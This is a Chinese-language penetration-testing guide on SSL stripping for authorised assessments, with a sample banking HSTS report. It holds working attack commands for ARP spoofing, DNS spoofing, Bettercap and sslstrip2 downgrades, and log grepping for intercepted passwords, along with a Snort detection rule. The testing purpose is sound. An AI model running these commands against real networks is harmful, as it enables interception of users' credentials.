performing-ssl-stripping-attack

执行 SSL 剥离攻击

适用场景

• 测试 Web 应用是否通过 HSTS 标头和重定向链正确强制使用 HTTPS
• 验证 HSTS 预加载配置正确，并已登记在浏览器预加载列表中
• 在获授权的安全评估期间，向利益相关者演示明文 HTTP 的风险
• 评估内部应用和厚客户端是否会验证 TLS 证书并拒绝降级
• 培训 SOC 团队检测网络流量中的 SSL 剥离迹象

请勿用于未经明确书面授权的网络或应用、拦截真实用户凭据，或在未经变更管理批准的情况下于工作时间攻击生产系统。

前提条件

• 书面授权，明确列出范围内的应用和获准使用的攻击技术
• 攻击者机器上已安装 Bettercap 2.x 或 sslstrip2
• 已建立 ARP 欺骗或其他中间人（MITM）攻击位置（参见 ARP 欺骗技能）
• 攻击者机器已启用 IP 转发
• 用于验证攻击是否成功并采集证据的 Wireshark
• 用于演示凭据拦截的测试账户（非真实用户凭据）

**法律声明：**本技能仅用于获授权的安全测试和教育目的。未经授权攻击非自有系统，或未获得书面测试许可即对其进行攻击，均属违法行为，且可能违反计算机欺诈相关法律。

工作流

步骤 1：建立 MITM 攻击位置

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Position via ARP spoofing using Bettercap
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"

# Alternatively, use arpspoof from dsniff
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &

步骤 2：使用 Bettercap 执行 SSL 剥离

# Start Bettercap with SSL stripping
sudo bettercap -iface eth0

# Enable ARP spoofing
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on

# Enable HTTP proxy with SSL stripping
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on

# Enable network sniffer for credential capture
> set net.sniff.verbose true
> net.sniff on

# Watch for intercepted HTTP traffic (was HTTPS)
# Bettercap will show credentials and URLs in real-time

步骤 3：使用 sslstrip2 执行 SSL 剥离

# Configure iptables to redirect HTTP traffic through sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

# Start sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt

# In another terminal, monitor the log for intercepted credentials
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"

# sslstrip works by:
# 1. Intercepting HTTP responses containing HTTPS links
# 2. Replacing https:// with http:// in the response
# 3. Maintaining HTTPS connection to the real server
# 4. Serving downgraded HTTP to the victim

步骤 4：测试 HSTS 绕过技术

# Check if target has HSTS header
curl -sI https://target-app.example.com | grep -i strict-transport-security

# Check if target is on the HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool

# Test HSTS bypass via subdomain substitution
# sslstrip2 can replace URLs with similar-looking HTTP alternatives:
# https://accounts.google.com -> http://accounts.google.com (fails if HSTS)
# https://accounts.google.com -> http://accounts.google.com. (trailing dot bypass attempt)

# Bettercap HSTS bypass with DNS spoofing
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on

# For applications not on HSTS preload, clear HSTS cache in test browser:
# Chrome: chrome://net-internals/#hsts -> Delete domain security policies
# Firefox: Clear recent history -> Active Logins (resets HSTS)

步骤 5：验证检测和防护措施

# Check from victim's perspective:
# 1. Browser address bar should show http:// instead of https://
# 2. No padlock icon visible
# 3. If HSTS is effective, browser should show error and refuse connection

# Capture evidence of the downgrade
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
  -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
  -Y "http.request" > ssl_strip_evidence.txt

# Verify what the victim sees vs what goes to the real server
# Victim to attacker: HTTP (port 80, cleartext)
tshark -i eth0 -f "src host 192.168.1.50 and dst port 80" -c 20

# Attacker to real server: HTTPS (port 443, encrypted)
tshark -i eth0 -f "dst port 443 and dst host <real_server_ip>" -c 20

# Check IDS/SIEM for detection
# Snort rule that should detect SSL stripping indicators:
# alert tcp any any -> $HOME_NET 80 (msg:"Possible SSL Strip - Login form over HTTP";
#   flow:to_client,established; content:"type=\"password\""; nocase;
#   content:"http://"; nocase; sid:9000010;)

# Check for HSTS missing header alerts
curl -s http://target-app.example.com | grep -i "password\|login"
# If login form is served over HTTP, SSL stripping succeeded

步骤 6：清理并报告

# Stop SSL stripping
# In Bettercap:
> http.proxy off
> arp.spoof off
> quit

# Remove iptables rules
sudo iptables -t nat -F PREROUTING

# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0

# Kill background processes
sudo killall sslstrip2 arpspoof 2>/dev/null

# Verify network is restored
ping -c 1 192.168.1.1

核心概念

术语	定义
SSL 剥离	一种降级攻击，会拦截 HTTP 到 HTTPS 的重定向，在与服务器保持加密连接的同时，向受害者提供明文 HTTP
HSTS（HTTP 严格传输安全）	一种 HTTP 响应标头，指示浏览器在指定时长内仅通过 HTTPS 连接，从而防止后续访问时遭受 SSL 剥离攻击
HSTS 预加载	将域名提交至由浏览器维护的列表，确保从首次连接起就使用 HTTPS，从而消除首次访问时的漏洞窗口
证书透明度	一种用于公开记录 TLS 证书的机制，可检测错误签发的证书，但无法防止 SSL 剥离
混合内容	通过 HTTPS 提供的网页加载了通过 HTTP 提供的资源（如脚本、图像），从而产生部分降级漏洞
Upgrade-Insecure-Requests	一条 CSP 指令，指示浏览器将 HTTP 请求升级为 HTTPS，可与 HSTS 配合防止混合内容

工具和系统

• Bettercap 2.x：网络攻击框架，集成了 SSL 剥离、HTTP/HTTPS 代理和凭据嗅探功能
• sslstrip2：专用 SSL 剥离工具，可通过 URL 重写将 HTTPS 透明降级为 HTTP
• mitmproxy：TLS 拦截代理，可修改响应标头以移除 HSTS 和其他安全标头
• curl：用于测试 HSTS 标头、重定向链和证书验证的命令行工具
• hstspreload.org：公开的 HSTS 预加载列表检查器，可用于验证域名是否已包含在浏览器预加载数据库中

常见场景

场景：测试银行 Web 应用中的 HSTS 实现

背景：一家银行于六个月前在其网上银行门户（banking.example.com）部署了 HSTS，现在希望验证它能否有效防止 SSL 剥离。测试已获授权，将使用专用测试账户，从与测试环境位于同一 VLAN 的工作站进行评估。

方法：

1. 验证 HSTS 标头是否存在及其值：curl -sI https://banking.example.com | grep -i strict 显示 max-age=31536000; includeSubDomains; preload
2. 检查 HSTS 预加载状态：确认该域名已列入 Chrome 和 Firefox 的预加载列表
3. 在测试工作站上设置 Bettercap，进行 ARP 欺骗和 SSL 剥离
4. 尝试从测试工作站访问 banking.example.com——Chrome 因 NET::ERR_CERT_AUTHORITY_INVALID 拒绝连接（HSTS 可防止降级）
5. 使用全新的浏览器配置文件（无 HSTS 缓存）进行测试——仍被拦截，因为该域名已预加载
6. 测试银行的移动应用——应用成功通过 HTTP 连接（未强制执行 HSTS），导致凭据以明文形式暴露
7. 测试子域名 api.banking.example.com——该域名不在预加载列表中，首次访问时、HSTS 标头被缓存之前，SSL 剥离攻击成功

注意事项：

• 使用已缓存目标域名 HSTS 信息的浏览器进行测试，并据此认定 HSTS 有效，却忽略首次访问者可能面临的风险
• 未单独测试子域名——只有在收到父域名的 HSTS 标头后，includeSubDomains 才会生效
• 忘记测试可能完全不遵循 HSTS 标头的移动应用
• 未检查混合内容；即使启用了 HSTS，混合内容也可能泄露会话令牌

输出格式

## SSL Stripping Assessment Report

**Test ID**: SSL-STRIP-2024-001
**Target Application**: banking.example.com
**Test Date**: 2024-03-15

### HSTS Configuration

| Property | Value | Status |
|----------|-------|--------|
| HSTS Header Present | Yes | PASS |
| max-age | 31536000 (1 year) | PASS |
| includeSubDomains | Yes | PASS |
| preload | Yes | PASS |
| In Chrome Preload List | Yes | PASS |

### SSL Stripping Test Results

| Target | Client | HSTS Status | Strip Result |
|--------|--------|-------------|--------------|
| banking.example.com | Chrome (cached) | Active | BLOCKED |
| banking.example.com | Chrome (fresh) | Preloaded | BLOCKED |
| banking.example.com | Mobile App | Not Enforced | VULNERABLE |
| api.banking.example.com | Chrome (fresh) | Not Preloaded | VULNERABLE (first visit) |

### Recommendations
1. Implement TLS certificate pinning in the mobile banking app (Critical)
2. Submit api.banking.example.com to HSTS preload list separately
3. Add Content-Security-Policy: upgrade-insecure-requests header
4. Implement certificate transparency monitoring for the domain